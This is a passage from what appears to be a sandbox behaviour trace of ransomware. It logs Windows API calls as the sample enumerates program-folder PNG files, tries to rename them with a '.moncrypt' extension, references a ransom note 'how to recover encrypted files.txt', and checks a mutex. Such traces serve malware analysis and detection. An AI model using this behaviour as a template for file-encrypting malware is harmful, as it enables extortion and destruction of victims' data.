lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.808] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.808] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.808] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Vignette\\NavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.808] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.808] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.808] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.808] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.808] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.809] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.809] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationLeft_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationleft_selectionsubpicture.png.moncrypt")) returned 0 [0058.809] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.809] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.809] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.809] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.809] GlobalUnlock (hMem=0x440004) returned 0 [0058.809] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.809] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.809] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.809] GlobalUnlock (hMem=0x440004) returned 0 [0058.809] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.809] GlobalUnlock (hMem=0x44000c) returned 0 [0058.809] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.809] CharLowerBuffW (in: lpsz="NavigationRight_ButtonGraphic.png", cchLength=0x21 | out: lpsz="navigationright_buttongraphic.png") returned 0x21 [0058.809] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.810] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.811] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.811] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Vignette\\NavigationRight_ButtonGraphic.pngf", lpUsedDefaultChar=0x0) returned 4 [0058.811] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.811] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.811] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.811] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.811] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.811] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.811] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png.moncrypt")) returned 0 [0058.811] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.812] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.812] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.812] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.812] GlobalUnlock (hMem=0x44000c) returned 0 [0058.812] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.812] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.812] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.812] GlobalUnlock (hMem=0x44000c) returned 0 [0058.812] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.812] GlobalUnlock (hMem=0x440004) returned 0 [0058.812] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.812] CharLowerBuffW (in: lpsz="NavigationRight_SelectionSubpicture.png", cchLength=0x27 | out: lpsz="navigationright_selectionsubpicture.png") returned 0x27 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", 